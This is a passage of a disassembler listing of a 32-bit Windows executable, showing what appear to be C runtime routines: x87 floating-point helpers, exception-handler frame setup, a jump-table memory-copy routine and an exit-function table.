sub_41C679+44j fld [ebp+arg_0] fadd dbl_427718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_41C73C ; --------------------------------------------------------------------------- loc_41C6FF: ; CODE XREF: sub_41C679+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C722 loc_41C714: ; CODE XREF: sub_41C679+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C722: ; CODE XREF: sub_41C679+99j test bl, 20h jnz short loc_41C714 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_41C73C: ; CODE XREF: sub_41C679+84j call sub_421014 add esp, 1Ch loc_41C744: ; CODE XREF: sub_41C679+59j ; sub_41C679+67j ... pop esi pop ebx leave retn sub_41C679 endp ; =============== S U B R O U T I N E ======================================= sub_41C748 proc near ; CODE XREF: ___:0041B78Dp ; sub_4218B2+21p ; DATA XREF: ... call sub_41C760 call sub_4218B2 mov dword_4DB2CC, eax call sub_421862 fnclex retn sub_41C748 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41C760 proc near ; CODE XREF: sub_41C748p mov eax, offset sub_421CA0 mov off_43C8A4, offset sub_421935 mov off_43C8A0, eax mov off_43C8A8, offset sub_42199B mov off_43C8AC, offset sub_4218DB mov off_43C8B0, offset sub_421983 mov off_43C8B4, eax retn sub_41C760 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C798 proc near ; CODE XREF: sub_40D030+1Bp ; sub_40D030+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41C798 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C7BF(double) sub_41C7BF proc near ; CODE XREF: sub_40D07C+82p ; ___:0040DD3Cp var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A2A8 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C845 call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C828 cmp eax, 2 jle short loc_41C81A cmp eax, 3 jnz short loc_41C828 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_420FC1 add esp, 10h jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C81A: ; CODE XREF: sub_41C7BF+3Fj push esi push ebx call sub_4217E9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C828: ; CODE XREF: sub_41C7BF+3Aj ; sub_41C7BF+44j fld [ebp+arg_0] fadd dbl_427718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_41C882 ; --------------------------------------------------------------------------- loc_41C845: ; CODE XREF: sub_41C7BF+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C868 loc_41C85A: ; CODE XREF: sub_41C7BF+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C868: ; CODE XREF: sub_41C7BF+99j test bl, 20h jnz short loc_41C85A fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_41C882: ; CODE XREF: sub_41C7BF+84j call sub_421014 add esp, 1Ch loc_41C88A: ; CODE XREF: sub_41C7BF+59j ; sub_41C7BF+67j ... pop esi pop ebx leave retn sub_41C7BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C88E proc near ; CODE XREF: ___:00422182p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41C88E endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41C8C2 proc near ; CODE XREF: sub_4222C2+199p ; sub_422486+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41C8C9 proc near ; CODE XREF: sub_4222C2+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41C8D0 proc near ; CODE XREF: sub_41CA82+5Cp ; sub_422111:loc_422142p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_41C8F8 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_42675C sub_41C8D0 endp ; --------------------------------------------------------------------------- loc_41C8F8: ; DATA XREF: sub_41C8D0+11o mov eax, [ebp+0Ch] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+0Ch] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_41C91F: ; CODE XREF: ___:00426DFCj ; ___:00426E19j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_421D16 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C955 proc near ; CODE XREF: sub_42218C+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41C9A9 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_422510 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_41C955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9A9 proc near ; DATA XREF: sub_41C955+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h pop ebp retn sub_41C9A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9CE proc near ; CODE XREF: sub_421F58+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41CA82 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_41CA54 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4DB324 pop ecx pop ecx and [ebp+var_34], 0 loc_41CA54: ; DATA XREF: sub_41C9CE+3Co cmp [ebp+var_4], 0 jz short loc_41CA71 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41CA7A ; --------------------------------------------------------------------------- loc_41CA71: ; CODE XREF: sub_41C9CE+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41CA7A: ; CODE XREF: sub_41C9CE+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41C9CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CA82 proc near ; DATA XREF: sub_41C9CE+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_41CAA5 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41CAF2 ; --------------------------------------------------------------------------- loc_41CAA5: ; CODE XREF: sub_41CA82+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41CAE3 push [ebp+arg_0] push [ebp+arg_4] call sub_41C8D0 ; --------------------------------------------------------------------------- loc_41CAE3: ; CODE XREF: sub_41CA82+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41CAF2: ; CODE XREF: sub_41CA82+21j pop edi pop esi pop ebx pop ebp retn sub_41CA82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAF7 proc near ; CODE XREF: sub_421DB1+C6p ; sub_421F58+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41CB4E loc_41CB15: ; CODE XREF: sub_41CAF7+52j cmp esi, 0FFFFFFFFh jnz short loc_41CB1F call sub_4225B2 loc_41CB1F: ; CODE XREF: sub_41CAF7+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_41CB34 cmp ecx, [eax+8] jle short loc_41CB39 loc_41CB34: ; CODE XREF: sub_41CAF7+36j cmp esi, 0FFFFFFFFh jnz short loc_41CB45 loc_41CB39: ; CODE XREF: sub_41CAF7+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41CB45: ; CODE XREF: sub_41CAF7+40j cmp [ebp+arg_4], 0 jge short loc_41CB15 mov eax, [ebp+var_4] loc_41CB4E: ; CODE XREF: sub_41CAF7+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41CB62 cmp esi, eax jbe short loc_41CB67 loc_41CB62: ; CODE XREF: sub_41CAF7+65j call sub_4225B2 loc_41CB67: ; CODE XREF: sub_41CAF7+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41CAF7 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41CB74 proc near ; CODE XREF: sub_4234B8+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_41CB8C push [ebp+arg_0] call sub_42675C sub_41CB74 endp ; =============== S U B R O U T I N E ======================================= sub_41CB8C proc near ; DATA XREF: sub_41CB74+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41CB8C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CB94 proc near ; DATA XREF: sub_41CBB6+Ao ; sub_41CC1E+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41CBB5 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41CBB5: ; CODE XREF: sub_41CB94+10j retn sub_41CB94 endp ; =============== S U B R O U T I N E ======================================= sub_41CBB6 proc near ; CODE XREF: sub_422232+Dp ; sub_4234B8+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41CB94 push large dword ptr fs:0 mov large fs:0, esp loc_41CBD3: ; CODE XREF: sub_41CBB6:loc_41CC0Ej mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41CC10 cmp esi, [esp+1Ch+arg_4] jz short loc_41CC10 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41CC0E push 101h mov eax, [ebx+esi*4+8] call sub_41CC4A call dword ptr [ebx+esi*4+8] loc_41CC0E: ; CODE XREF: sub_41CBB6+44j jmp short loc_41CBD3 ; --------------------------------------------------------------------------- loc_41CC10: ; CODE XREF: sub_41CBB6+2Aj ; sub_41CBB6+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41CBB6 endp ; =============== S U B R O U T I N E ======================================= sub_41CC1E proc near ; CODE XREF: sub_422252+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41CB94 jnz short locret_41CC40 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41CC40 mov eax, 1 locret_41CC40: ; CODE XREF: sub_41CC1E+10j ; sub_41CC1E+1Bj retn sub_41CC1E endp ; =============== S U B R O U T I N E ======================================= sub_41CC41 proc near ; CODE XREF: sub_422510+1Ep ; sub_422510+40p push ebx push ecx mov ebx, offset dword_43A2AC jmp short loc_41CC54 sub_41CC41 endp ; =============== S U B R O U T I N E ======================================= sub_41CC4A proc near ; CODE XREF: sub_41CBB6+4Fp ; sub_4234B8+78p push ebx push ecx mov ebx, offset dword_43A2AC mov ecx, [ebp+8] loc_41CC54: ; CODE XREF: sub_41CC41+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41CC4A endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_41CC64 proc near ; CODE XREF: sub_40D07C+5p ; sub_40D21E+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41CC64 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CC83 proc near ; CODE XREF: sub_40D6B3+26p ; ___:004264F2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B0B1 pop ecx retn sub_41CC83 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC90 proc near ; CODE XREF: sub_40D724+3Ap ; sub_41DEA2+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41CCB0 cmp edi, eax jb loc_41CE28 loc_41CCB0: ; CODE XREF: sub_41CC90+16j test edi, 3 jnz short loc_41CCCC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- loc_41CCCC: ; CODE XREF: sub_41CC90+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41CCE4 and eax, 3 add ecx, eax jmp dword ptr loc_41CCEC+4[eax*4] ; --------------------------------------------------------------------------- loc_41CCE4: ; CODE XREF: sub_41CC90+46j jmp dword ptr loc_41CDE8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CCEC: ; CODE XREF: sub_41CC90+31j ; sub_41CC90+8Ej ... jmp off_41CD6C[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_41CD00 dd offset loc_41CD2C dd offset loc_41CD50 ; --------------------------------------------------------------------------- loc_41CD00: ; DATA XREF: sub_41CC90+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CD2C: ; DATA XREF: sub_41CC90+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CD50: ; DATA XREF: sub_41CC90+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CD6C dd offset loc_41CDCF ; DATA XREF: sub_41CC90:loc_41CCECr dd offset loc_41CDBC dd offset loc_41CDB4 dd offset loc_41CDAC dd offset loc_41CDA4 dd offset loc_41CD9C dd offset loc_41CD94 dd offset loc_41CD8C ; --------------------------------------------------------------------------- loc_41CD8C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41CD94: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41CD9C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41CDA4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41CDAC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41CDB4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41CDBC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CDCF: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90:off_41CD6Co jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CDD8 dd offset loc_41CDE8 ; DATA XREF: sub_41CC90+35r ; sub_41CC90+92r ... dd offset loc_41CDF0 dd offset loc_41CDFC dd offset loc_41CE10 ; --------------------------------------------------------------------------- loc_41CDE8: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CDF0: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CDFC: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CE10: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CE28: ; CODE XREF: sub_41CC90+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41CE5C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CE50: ; CODE XREF: sub_41CC90+1B1j ; sub_41CC90+208j ... neg ecx jmp off_41CF20[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CE5C: ; CODE XREF: sub_41CC90+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41CE74 and eax, 3 sub ecx, eax jmp dword ptr loc_41CE74+4[eax*4] ; --------------------------------------------------------------------------- loc_41CE74: ; CODE XREF: sub_41CC90+1D6j ; DATA XREF: sub_41CC90+1DDr jmp off_41CF70[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CE87+1 dd offset loc_41CEA8 ; --------------------------------------------------------------------------- ror dh, 1 inc ecx loc_41CE87: ; DATA XREF: sub_41CC90+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CEA8: ; DATA XREF: sub_41CC90+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CF24 dd offset loc_41CF2C dd offset loc_41CF34 dd offset loc_41CF3C dd offset loc_41CF44 dd offset loc_41CF4C dd offset loc_41CF54 off_41CF20 dd offset loc_41CF67 ; DATA XREF: sub_41CC90+1C2r ; --------------------------------------------------------------------------- loc_41CF24: ; DATA XREF: sub_41CC90+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41CF2C: ; DATA XREF: sub_41CC90+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41CF34: ; DATA XREF: sub_41CC90+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41CF3C: ; DATA XREF: sub_41CC90+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41CF44: ; DATA XREF: sub_41CC90+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41CF4C: ; DATA XREF: sub_41CC90+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41CF54: ; DATA XREF: sub_41CC90+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CF67: ; CODE XREF: sub_41CC90+1C2j ; DATA XREF: sub_41CC90:off_41CF20o jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h off_41CF70 dd offset loc_41CF80 ; DATA XREF: sub_41CC90+1B7r ; sub_41CC90:loc_41CE74r ... dd offset loc_41CF88 dd offset loc_41CF98 dd offset loc_41CFAC ; --------------------------------------------------------------------------- loc_41CF80: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF88: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF98: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CFAC: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41CC90 endp ; =============== S U B R O U T I N E ======================================= sub_41CFC5 proc near ; CODE XREF: sub_40D78B+34p ; sub_40D78B+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41CFC5 endp ; =============== S U B R O U T I N E ======================================= sub_41CFD3 proc near ; CODE XREF: sub_41D040+4p arg_0 = dword ptr 4 push esi push dword_4DC91C call sub_422608 mov edx, dword_4DC91C pop ecx mov ecx, dword_4DC918 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_41D032 push edx call sub_422608 add eax, 10h push eax push dword_4DC91C call sub_41B202 add esp, 0Ch test eax, eax jnz short loc_41D015 retn ; --------------------------------------------------------------------------- loc_41D015: ; CODE XREF: sub_41CFD3+3Fj mov ecx, dword_4DC918 sub ecx, dword_4DC91C mov dword_4DC91C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4DC918, ecx loc_41D032: ; CODE XREF: sub_41CFD3+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4DC918, 4 retn sub_41CFD3 endp ; =============== S U B R O U T I N E ======================================= sub_41D040 proc near ; CODE XREF: sub_40D878+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_41CFD3 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_41D040 endp ; =============== S U B R O U T I N E ======================================= sub_41D052 proc near ; DATA XREF: ___:0042901Co push 80h call sub_41B4D5 test eax, eax pop ecx mov dword_4DC91C, eax jnz short loc_41D073 push 18h call sub_41DA29 mov eax, dword_4DC91C pop ecx loc_41D073: ; CODE XREF: sub_41D052+12j and dword ptr [eax], 0 mov eax, dword_4DC91C mov dword_4DC918, eax retn sub_41D052 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D081 proc near ; CODE XREF: ___:0040DB4Bp var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 